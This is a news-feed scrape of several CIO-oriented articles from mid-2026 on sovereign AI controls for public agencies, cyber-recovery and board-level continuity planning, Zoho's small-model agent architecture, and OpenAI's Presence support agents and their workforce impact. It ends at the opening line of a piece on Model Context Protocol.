<p class="wp-block-paragraph">Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.</p>



<p class="wp-block-paragraph">Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.</p>



<p class="wp-block-paragraph">The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.</p>



<p class="wp-block-paragraph">This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.</p>



<p class="wp-block-paragraph"><em>Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to <a href="mailto:droberts@ouellette-online.com?subject=P4P:%206x6%20Framework%20Roundtable">reach out to me directly</a>.</em></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Sovereign AI has become the public-sector CIO’s control problem]]></title>
<description><![CDATA[In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving in...]]></description>
<link>https://tsecurity.de/de/3694400/it-security-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694400/it-security-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</guid>
<pubDate>Sat, 25 Jul 2026 18:57:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.</p>



<p class="wp-block-paragraph">They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a <a href="https://institute.global/insights/tech-and-digitalisation/sovereignty-in-the-age-of-ai-strategic-choices-structural-dependencies">January 2026 Tony Blair Institute analysis</a>, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?</p>



<h2 class="wp-block-heading">The 5 layers of public-sector control</h2>



<p class="wp-block-paragraph">For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:</p>



<ul class="wp-block-list">
<li><strong>Data control:</strong> Where sensitive public data sits, and whether it can train a vendor’s model.</li>



<li><strong>Model control:</strong> Which models clear which workloads, and under what validation.</li>



<li><strong>Infrastructure control:</strong> Whether critical workloads run in approved environments.</li>



<li><strong>Operational control:</strong> Whether AI-assisted actions are logged, monitored and reversible.</li>



<li><strong>Vendor control:</strong> Whether the agency keeps portability, audit rights and a real exit.</li>
</ul>



<p class="wp-block-paragraph">Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “<a href="https://www.cio.com/article/4147102/ai-without-sovereignty-is-just-outsourced-intelligence.html">AI without sovereignty is just outsourced intelligence</a>”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.</p>



<p class="wp-block-paragraph">Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.</p>



<h2 class="wp-block-heading">Evaluating risk: Concentration, jurisdiction and shadow AI</h2>



<p class="wp-block-paragraph">Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is.  Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update <a href="https://www.cisa.gov/news-events/alerts/2024/07/19/widespread-it-outage-due-crowdstrike-update">crashed about 8.5 million Windows machines</a>, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.</p>



<p class="wp-block-paragraph">The second is jurisdiction. In June 2025, Microsoft’s legal director for France <a href="https://www.sdxcentral.com/news/microsoft-tells-french-lawmakers-it-cant-protect-user-data-from-us-demands/">told a Senate inquiry, under oath</a>, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold <a href="https://www.srgresearch.com/articles/european-cloud-providers-local-market-share-now-holds-steady-at-15">about 70% of the European cloud market</a>, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.</p>



<p class="wp-block-paragraph">The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.</p>



<p class="wp-block-paragraph">Mandating domestic-only provision before a competitive option exists inverts sovereignty. <a href="https://europe2031.ai/summary">Europe 2031</a>, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.</p>



<p class="wp-block-paragraph">Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform <a href="https://www.pib.gov.in/PressReleaseIframePage.aspx?PRID=2093333&amp;reg=3&amp;lang=2">serving 100 million-plus inferences a month across 22-plus languages</a> on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.</p>



<h2 class="wp-block-heading">Building an operational sovereignty strategy</h2>



<p class="wp-block-paragraph">Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s <a href="https://www.oecd.org/en/publications/governing-with-artificial-intelligence_795de142-en.html">2025 review of government AI</a> warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.</p>



<p class="wp-block-paragraph">None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an <a href="https://berthub.eu/articles/posts/gaia-x-is-an-expensive-distraction/">“expensive distraction”</a> that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.</p>



<p class="wp-block-paragraph">Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:</p>



<ol start="1" class="wp-block-list">
<li>Can we classify AI workloads by public-service risk?</li>



<li>Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?</li>



<li>Can we restrict which models are approved for which data classes and functions?</li>



<li>Can we reconstruct an AI-assisted action in enough detail to explain it?</li>



<li>Can we change providers without losing continuity or institutional knowledge?</li>



<li>Can we explain the system to citizens, regulators, auditors and elected officials?</li>
</ol>



<p class="wp-block-paragraph">A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Principles every enterprise must test before the attack arrives]]></title>
<description><![CDATA[I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.



Imagine this: A major global enterprise, a company mos...]]></description>
<link>https://tsecurity.de/de/3694398/it-security-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694398/it-security-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.</p>



<p class="wp-block-paragraph">Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”</p>



<p class="wp-block-paragraph">This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.</p>



<p class="wp-block-paragraph">As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:</p>



<h2 class="wp-block-heading">Recovery is not just a technical exercise</h2>



<p class="wp-block-paragraph">The first assumption to break during a real crisis is <a href="https://www.cio.com/article/4165019/your-cloud-strategy-is-incomplete-without-a-cyber-recovery-plan.html">the belief that recovery is purely technical</a>.</p>



<p class="wp-block-paragraph">Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can <a>point to</a> backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.</p>



<p class="wp-block-paragraph">The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.</p>



<p class="wp-block-paragraph">Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A <a href="https://www.veeam.com/company/press-release/veeam-report-reveals-a-market-wide-shift-from-recovery-confidence-to-proven-data-resilience-amid-ransomware-threats-and-ai-adoption.html">recent survey</a> found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.</p>



<p class="wp-block-paragraph">True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.</p>



<h2 class="wp-block-heading">Most business continuity plans ignore ‘total blackout’</h2>



<p class="wp-block-paragraph">I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.</p>



<p class="wp-block-paragraph">Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.</p>



<p class="wp-block-paragraph">This is also where boards need to change the conversation. A <a href="https://www.diligent.com/resources/research/cybersecurity-audit">study found</a> that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.</p>



<p class="wp-block-paragraph">That is the level of clarity leaders need.</p>



<p class="wp-block-paragraph">The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.</p>



<p class="wp-block-paragraph">The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.</p>



<p class="wp-block-paragraph">If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.</p>



<h2 class="wp-block-heading">Threat intelligence must be actionable, not archived</h2>



<p class="wp-block-paragraph">Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.</p>



<p class="wp-block-paragraph">If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested <em>before</em> the attack.</p>



<p class="wp-block-paragraph">Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.</p>



<p class="wp-block-paragraph">Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.</p>



<p class="wp-block-paragraph">Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.</p>



<p class="wp-block-paragraph">Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations <em>now</em>. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]></title>
<description><![CDATA[When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a sui...]]></description>
<link>https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.</p>



<p class="wp-block-paragraph">“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.</p>



<p class="wp-block-paragraph">“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.</p>



<p class="wp-block-paragraph">Speaking to a room of tech leaders at the <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York event</a> last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:</p>



<ul class="wp-block-list">
<li>Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.</li>



<li>Smarter: The system around the model decides more than the model does.</li>



<li>Safer: Verify at the point a mistake gets locked in, not just downstream of it.</li>
</ul>



<p class="wp-block-paragraph">He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.</p>



<p class="wp-block-paragraph">To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.</p>



<p class="wp-block-paragraph">“The intelligence moves from the model into the architecture around it,” he said.</p>



<h2 class="wp-block-heading">A steep learning curve</h2>



<p class="wp-block-paragraph">One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.</p>



<p class="wp-block-paragraph">“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”</p>



<p class="wp-block-paragraph">In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.</p>



<p class="wp-block-paragraph">Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.</p>



<p class="wp-block-paragraph">“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.</p>



<p class="wp-block-paragraph">Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.</p>



<p class="wp-block-paragraph">“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”</p>



<p class="wp-block-paragraph">The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.</p>



<p class="wp-block-paragraph">“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.</p>



<p class="wp-block-paragraph">Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.</p>



<h3 class="wp-block-heading">Routing</h3>



<p class="wp-block-paragraph">Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.</p>



<p class="wp-block-paragraph">Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.</p>



<p class="wp-block-paragraph">“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”</p>



<h3 class="wp-block-heading">Harness</h3>



<p class="wp-block-paragraph">An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.</p>



<p class="wp-block-paragraph">“It’s the process around the model, which matters way more than the model itself,” Thakrar said.</p>



<p class="wp-block-paragraph">In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.</p>



<p class="wp-block-paragraph">For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.</p>



<p class="wp-block-paragraph">Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.</p>



<p class="wp-block-paragraph">“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”</p>



<p class="wp-block-paragraph">But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.</p>



<p class="wp-block-paragraph">Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.</p>



<h3 class="wp-block-heading">Specialization</h3>



<p class="wp-block-paragraph">Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.</p>



<p class="wp-block-paragraph">Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.</p>



<p class="wp-block-paragraph">“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”</p>
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<title><![CDATA[OpenAI Presence raises new questions about enterprise automation and jobs]]></title>
<description><![CDATA[OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.



The agents can answer questions and operate IT systems, and enterprises can decide w...]]></description>
<link>https://tsecurity.de/de/3694393/it-security-nachrichten/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs/</link>
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<pubDate>Sat, 25 Jul 2026 18:55:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.</p>



<p class="wp-block-paragraph">The agents can answer questions and operate IT systems, and enterprises can decide what actions the agents may take and when they should seek human approval for actions or transfer a case to a human.</p>



<p class="wp-block-paragraph">OpenAI is already using Presence internally for its English-language phone support channel, where it verifies callers and uses account information to complete approved actions. The company said the system resolves 75% of inbound issues without human assistance.</p>



<p class="wp-block-paragraph">Another OpenAI service, Codex, can be used to monitor agents and suggest updates or improvements to processes. In OpenAI’s own tests, suggestions from Codex helped reduce handoffs to humans by 15 percentage points over 10 days, it said. Presence also includes simulation and evaluation tools that allow companies to test an agent before deployment. The tests assess whether it reaches the correct outcome, follows company policy, and hands a case to an employee when required.</p>



<p class="wp-block-paragraph">OpenAI intends each Presence deployment to deal with one kind of task, for example billing issues, insurance claims, or employee IT service requests, with agents getting only the knowledge and system access required for that task.</p>



<p class="wp-block-paragraph">Presence is not a self-service product: Enterprises will have to sign up for the limited availability program, with integration performed by OpenAI or selected <a href="https://www.computerworld.com/article/4136024/openai-partners-with-consulting-giants-to-deploy-enterprise-ai-agents.html">global systems integrators</a>.</p>



<p class="wp-block-paragraph">Companies exploring or testing Presence include Spanish bank BBVA, which is evaluating the service for everyday banking support in Mexico, and Japanese technology group SoftBank, which is using it in trials involving Japanese-language customer interactions. Australian insurer IAG is assessing whether the technology can help it respond to surges in customer demand during severe weather events.</p>



<h2 class="wp-block-heading">Workforce impact</h2>



<p class="wp-block-paragraph">OpenAI’s announcement did not address the potential effect of Presence on employment. But its claimed automation rate raises questions about how the technology could affect staffing in customer service and other support functions.</p>



<p class="wp-block-paragraph"><a href="https://pareekh.com/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, CEO of Pareekh Consulting, said CIOs should regard the 75% figure as evidence that the technology can work, rather than as a benchmark that every enterprise can expect to reach.</p>



<p class="wp-block-paragraph">Jain said OpenAI’s deployment benefits from being built around the company’s own products and data. Large enterprises may achieve lower automation rates because they must contend with fragmented legacy systems, uneven knowledge bases and more complex compliance demands.</p>



<p class="wp-block-paragraph">“Most organizations should expect lower initial automation levels that improve over time as the AI agent is refined,” Jain said.</p>



<p class="wp-block-paragraph">The first workforce effect is more likely to be <a href="https://www.cio.com/article/4015750/cios-see-ai-prompting-new-it-hiring-even-as-boards-push-for-job-cuts.html">slower hiring than immediate layoffs</a>, according to <a href="https://www.linkedin.com/in/tulikasheel/" target="_blank" rel="noreferrer noopener">Tulika Sheel</a>, senior vice president at Kadence International.</p>



<p class="wp-block-paragraph">“The roles most exposed are likely to be repetitive, high-volume functions such as frontline customer support and routine back-office processing,” Sheel said. “However, I would expect the first impact to be on hiring and team growth rather than immediate large-scale job cuts. Over time, enterprises may redesign roles around AI-assisted workflows, with humans focusing more on complex cases, escalation, and relationship management.”</p>



<p class="wp-block-paragraph">Jain said Tier-1 support agents handling predictable queries would face the most exposure. Broader reductions would become more likely only after companies reorganize their operations around the technology.</p>



<p class="wp-block-paragraph">However, <a href="https://omdia.tech.informa.com/authors/lian-jye-su" target="_blank" rel="noreferrer noopener">Lian Jye Su</a>, chief analyst at Omdia, said Presence is unlikely to increase the threat of job displacement because companies have used similar customer-support automation from vendors such as Genesys, NiCE, Five9 and AWS for years.</p>



<p class="wp-block-paragraph">Enterprises are more likely to use Presence alongside employees, with AI handling routine requests while people remain responsible for work requiring judgment and empathy, Su said.</p>



<h2 class="wp-block-heading">Cost and operational risks</h2>



<p class="wp-block-paragraph">Analysts said CIOs should examine whether Presence can maintain resolution quality as usage grows, since fewer human handoffs could leave employees dealing with a more difficult mix of cases.</p>



<p class="wp-block-paragraph">“The key question is not simply how many tasks AI can handle, but whether it can handle them reliably at scale,” Sheel said.</p>



<p class="wp-block-paragraph">The financial case will depend partly on the cost of connecting Presence to existing systems and maintaining the controls needed to govern its use, according to Jain. “Often the biggest cost of enterprise AI is not tokens but <a href="https://www.computerworld.com/article/4128310/openai-responds-to-claude-cowork-with-its-own-platform-to-help-build-deploy-and-manage-ai-agents.html">integration and governance</a>,” Jain added.</p>



<p class="wp-block-paragraph">Companies will need to determine what systems and data the agents can access, monitor their performance, and audit the actions they take. Those investments could offset early savings.</p>



<p class="wp-block-paragraph">Su said the complexity of enterprise IT will make it difficult for OpenAI to automate entire workflows on its own. Enterprises will still need to work with other technology providers and human employees, while CIOs will favor systems that can be audited and integrated with existing infrastructure.</p>



<p class="wp-block-paragraph">Jain said the economics could improve if companies use the same integrations and governance controls across additional workflows.</p>
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<title><![CDATA[Model Context Protocol is going stateless to make scaling simpler]]></title>
<description><![CDATA[Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.



The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless arch...]]></description>
<link>https://tsecurity.de/de/3694388/it-security-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</link>
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<pubDate>Sat, 25 Jul 2026 18:55:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Model Context Protocol (<a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.</p>



